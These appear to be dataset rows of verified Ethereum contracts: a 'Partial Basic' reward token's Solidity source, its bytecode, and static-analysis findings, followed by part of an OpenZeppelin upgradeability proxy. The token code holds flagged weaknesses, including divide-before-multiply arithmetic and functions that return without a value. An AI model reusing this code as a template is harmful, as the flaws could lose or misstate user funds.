* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
}
/**
* @title Partial Basic
* @dev Partial Basic is an experimental cryptocurrency that guarantees
* unconditional, indeterminate rewards to network participants.
*/
contract PartialBasic is StandardToken {
using SafeMath for uint256;
string public constant name = "Partial Basic"; // solium-disable-line uppercase
string public constant symbol = "PB"; // solium-disable-line uppercase
uint8 public constant decimals = 18; // solium-disable-line uppercase
uint256 public constant BASE_REWARD = 20000 ether;
uint256 private constant PRECISION = 10**18;
uint256 public totalNodes;
uint256 public rewardStartTime;
uint256 public rewardCheckpoint;
uint256 private rewardTimestamp;
mapping(address => uint256) public nodes;
mapping(address => uint256) private claimed;
event Mint(address indexed to, uint256 amount);
event AddNode(address indexed owner);
/**
* @dev add a node for a specified address.
* @param _owner The address to add a node for.
*/
function addNode(address _owner) external {
uint256 checkpointCandidate;
if (rewardStartTime == 0) {
// initialise rewards
rewardStartTime = block.timestamp;
} else {
// reward per node must increase to be a valid checkpoint
// or a valid reward for this block must have already been checkpointed
checkpointCandidate = rewardPerNode();
require(checkpointCandidate > rewardCheckpoint || block.timestamp == rewardTimestamp);
}
// claim outstanding rewards
sync(_owner);
if (rewardCheckpoint != checkpointCandidate) {
// checkpoint the total reward per node
rewardCheckpoint = checkpointCandidate;
}
if (rewardTimestamp != block.timestamp) {
// reset the timestamp for the reward
rewardTimestamp = block.timestamp;
}
// add node for address
nodes[_owner] = nodes[_owner].add(1);
// prevent new nodes from claiming old rewards
claimed[_owner] = rewardCheckpoint.mul(nodes[_owner]);
// update the total nodes in the network
totalNodes = totalNodes.add(1);
// fire event
emit AddNode(_owner);
}
/**
* @dev Gets the total reward for a node.
* @return A uint256 representing the total reward of a node.
*/
function rewardPerNode() public view returns (uint256) {
// no reward if there are no active nodes
if (totalNodes == 0) {
return;
}
// days since last checkpoint
uint256 totalDays = block.timestamp.sub(rewardTimestamp).mul(PRECISION).div(1 days);
// reward * days / nodes
uint256 newReward = BASE_REWARD.mul(totalDays).div(PRECISION).div(totalNodes);
// checkpoint + newReward
return rewardCheckpoint.add(newReward);
}
/**
* @dev Gets the outstanding reward of a specified address.
* @param _owner The address to query the reward of.
* @return A uint256 representing the outstanding reward of the passed address.
*/
function calculateReward(address _owner) public view returns (uint256) {
// address must be running a node
if (isMining(_owner)) {
// return outstanding reward
uint256 reward = rewardPerNode().mul(nodes[_owner]);
return reward.sub(claimed[_owner]);
}
}
/**
* @dev sync an outstanding reward for a specified address.
* @param _owner The address to sync rewards for.
*/
function sync(address _owner) public {
uint256 reward = calculateReward(_owner);
if (reward > 0) {
claimed[_owner] = claimed[_owner].add(reward);
balances[_owner] = balances[_owner].add(reward);
emit Mint(_owner, reward);
emit Transfer(address(0), _owner, reward);
}
}
/**
* @dev transfer token for a specified address.
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
sync(msg.sender);
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* @param _from address The address which you want to send tokens from.
* @param _to address The address which you want to transfer to.
* @param _value uint256 the amount of tokens to be transferred.
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
sync(_from);
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return A uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner].add(calculateReward(_owner));
}
/**
* @dev returns the approximate total number of tokens in existence
* @return A uint256 representing the approximate total number of tokens in existence.
*/
function totalSupply() public view returns (uint256) {
if (rewardStartTime == 0) {
return;
}
// days since start of rewards
uint256 totalDays = block.timestamp.sub(rewardStartTime).mul(PRECISION).div(1 days);
// reward * days
return BASE_REWARD.mul(totalDays).div(PRECISION);
}
/**
* @dev returns the mining status of the passed address.
* @return A uint256 representing the mining status of the passed address.
*/
function isMining(address _owner) public view returns (bool) {
return nodes[_owner] != 0;
}
/**
* @dev A batch query to get all node information for a specified address.
* @param _owner The address to query the details of.
* @return A bool representing the mining status of the passed address.
* @return A uint256 representing the number of nodes owned by the passed address.
* @return A uint256 representing the amount owned by the passed address.
* @return A uint256 representing the outstanding reward of the passed address.
* @return A uint256 representing the total reward per node.
* @return A uint256 representing the total nodes in the network.
* @return A uint256 representing the total number of tokens in existence.
*/
function getInfo(address _owner) public view returns (bool, uint256, uint256, uint256, uint256, uint256, uint256) {
return (isMining(_owner), nodes[_owner], balanceOf(_owner), calculateReward(_owner), rewardPerNode(), totalNodes, totalSupply());
}
} | 0x608060405260043610610128576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306b8ef4a1461012d57806306fdde0314610158578063095ea7b3146101e857806318160ddd1461024d578063189a5a171461027857806322009af6146102cf57806323b872dd146102fa5780632cc138be1461037f578063313ce567146103aa578063613ff46f146103db578063661884631461040657806370a082311461046b5780639592d424146104c257806395d89b41146104ed5780639d95f1cc1461057d578063a5841194146105c0578063a9059cbb14610603578063c416351814610668578063d73dd623146106c3578063d82e396214610728578063dd62ed3e1461077f578063ffdd5cf1146107f6575b600080fd5b34801561013957600080fd5b5061014261087b565b6040518082815260200191505060405180910390f35b34801561016457600080fd5b5061016d610881565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101ad578082015181840152602081019050610192565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101f457600080fd5b50610233600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108ba565b604051808215151515815260200191505060405180910390f35b34801561025957600080fd5b506102626109ac565b6040518082815260200191505060405180910390f35b34801561028457600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610a43565b6040518082815260200191505060405180910390f35b3480156102db57600080fd5b506102e4610a5b565b6040518082815260200191505060405180910390f35b34801561030657600080fd5b50610365600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a69565b604051808215151515815260200191505060405180910390f35b34801561038b57600080fd5b50610394610e2d565b6040518082815260200191505060405180910390f35b3480156103b657600080fd5b506103bf610e33565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103e757600080fd5b506103f0610e38565b6040518082815260200191505060405180910390f35b34801561041257600080fd5b50610451600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610efc565b604051808215151515815260200191505060405180910390f35b34801561047757600080fd5b506104ac600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061118d565b6040518082815260200191505060405180910390f35b3480156104ce57600080fd5b506104d76111ef565b6040518082815260200191505060405180910390f35b3480156104f957600080fd5b506105026111f5565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610542578082015181840152602081019050610527565b50505050905090810190601f16801561056f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561058957600080fd5b506105be600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061122e565b005b3480156105cc57600080fd5b50610601600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061142c565b005b34801561060f57600080fd5b5061064e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611623565b604051808215151515815260200191505060405180910390f35b34801561067457600080fd5b506106a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061184c565b604051808215151515815260200191505060405180910390f35b3480156106cf57600080fd5b5061070e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611898565b604051808215151515815260200191505060405180910390f35b34801561073457600080fd5b50610769600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a94565b6040518082815260200191505060405180910390f35b34801561078b57600080fd5b506107e0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b60565b6040518082815260200191505060405180910390f35b34801561080257600080fd5b50610837600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be7565b604051808815151515815260200187815260200186815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390f35b60045481565b6040805190810160405280600d81526020017f5061727469616c2042617369630000000000000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b600080600060035414156109bf57610a3f565b610a03620151806109f5670de0b6b3a76400006109e760035442611c7990919063ffffffff16565b611c9290919063ffffffff16565b611cca90919063ffffffff16565b9050610a3c670de0b6b3a7640000610a2e8369043c33c1937564800000611c9290919063ffffffff16565b611cca90919063ffffffff16565b91505b5090565b60066020528060005260406000206000915090505481565b69043c33c193756480000081565b6000610a748461142c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610ab057600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610afd57600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610b8857600080fd5b610bd9826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7990919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c6c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d3d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7990919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60035481565b601281565b6000806000806002541415610e4c57610ef7565b610e9062015180610e82670de0b6b3a7640000610e7460055442611c7990919063ffffffff16565b611c9290919063ffffffff16565b611cca90919063ffffffff16565b9150610edd600254610ecf670de0b6b3a7640000610ec18669043c33c1937564800000611c9290919063ffffffff16565b611cca90919063ffffffff16565b611cca90919063ffffffff16565b9050610ef481600454611ce090919063ffffffff16565b92505b505090565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083111561100d576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110a1565b6110208382611c7990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60006111e861119b83611a94565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce090919063ffffffff16565b9050919050565b60025481565b6040805190810160405280600281526020017f504200000000000000000000000000000000000000000000000000000000000081525081565b6000806003541415611246574260038190555061126d565b61124e610e38565b9050600454811180611261575060055442145b151561126c57600080fd5b5b6112768261142c565b8060045414151561128957806004819055505b4260055414151561129c57426005819055505b6112ef6001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce090919063ffffffff16565b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611386600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600454611c9290919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506113df6001600254611ce090919063ffffffff16565b6002819055508173ffffffffffffffffffffffffffffffffffffffff167f2a7b8f148f3938b7f43daee2d7e0739a41e7c071de51671561efef3b789b9eef60405160405180910390a25050565b600061143782611a94565b9050600081111561161f5761149481600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce090919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611528816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce090919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885826040518082815260200191505060405180910390a28173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5050565b600061162e3361142c565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561166a57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156116b757600080fd5b611708826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c7990919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061179b826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce090919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600080600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414159050919050565b600061192982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce090919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b600080611aa08361184c565b15611b5957611afe600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611af0610e38565b611c9290919063ffffffff16565b9050611b52600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611c7990919063ffffffff16565b9150611b5a565b5b50919050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000806000806000806000611bfb8861184c565b600660008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c448a61118d565b611c4d8b611a94565b611c55610e38565b600254611c606109ac565b9650965096509650965096509650919395979092949650565b6000828211151515611c8757fe5b818303905092915050565b600080831415611ca55760009050611cc4565b8183029050818382811515611cb657fe5b04141515611cc057fe5b8090505b92915050565b60008183811515611cd757fe5b04905092915050565b60008183019050828110151515611cf357fe5b809050929150505600a165627a7a7230582031580c1587935da3c4af3625bc24fa8ff014414d5071cdc20f485e95f78693770029 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}} | 10,569 |
0x3a221509A5044f4603eC5777947D92865E7E3B6b | /**
*Submitted for verification at Etherscan.io on 2021-12-16
*/
pragma solidity 0.5.14;
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
function () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize)
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas, implementation, 0, calldatasize, 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize)
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize) }
default { return(0, returndatasize) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* Utility library of inline functions on addresses
*
* Source https://raw.githubusercontent.com/OpenZeppelin/openzeppelin-solidity/v2.1.3/contracts/utils/Address.sol
* This contract is copied here and renamed from the original to avoid clashes in the compiled artifacts
* when the user imports a zos-lib contract (that transitively causes this contract to be compiled and added to the
* build/artifacts folder) as well as the vanilla Address implementation from an openzeppelin version.
*/
library OpenZeppelinUpgradesAddress {
/**
* Returns whether the target address is a contract
* @dev This function will return false if invoked during the constructor of a contract,
* as the code is not actually created until after the constructor finishes.
* @param account address of the account to check
* @return whether the target address is a contract
*/
function isContract(address account) internal view returns (bool) {
uint256 size;
// XXX Currently there is no better way to check if there is a contract in an address
// than to check the size of the code at that address.
// See https://ethereum.stackexchange.com/a/14016/36603
// for more details about how this works.
// TODO Check this again before the Serenity release, because all addresses will be
// contracts then.
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title BaseUpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract BaseUpgradeabilityProxy is Proxy {
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return Address of the current implementation
*/
function _implementation() internal view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(OpenZeppelinUpgradesAddress.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title UpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with a constructor for initializing
* implementation and init data.
*/
contract UpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
}
/**
* @title BaseAdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract BaseAdminUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
/**
* @title InitializableUpgradeabilityProxy
* @dev Extends BaseUpgradeabilityProxy with an initializer for initializing
* implementation and init data.
*/
contract InitializableUpgradeabilityProxy is BaseUpgradeabilityProxy {
/**
* @dev Contract initializer.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
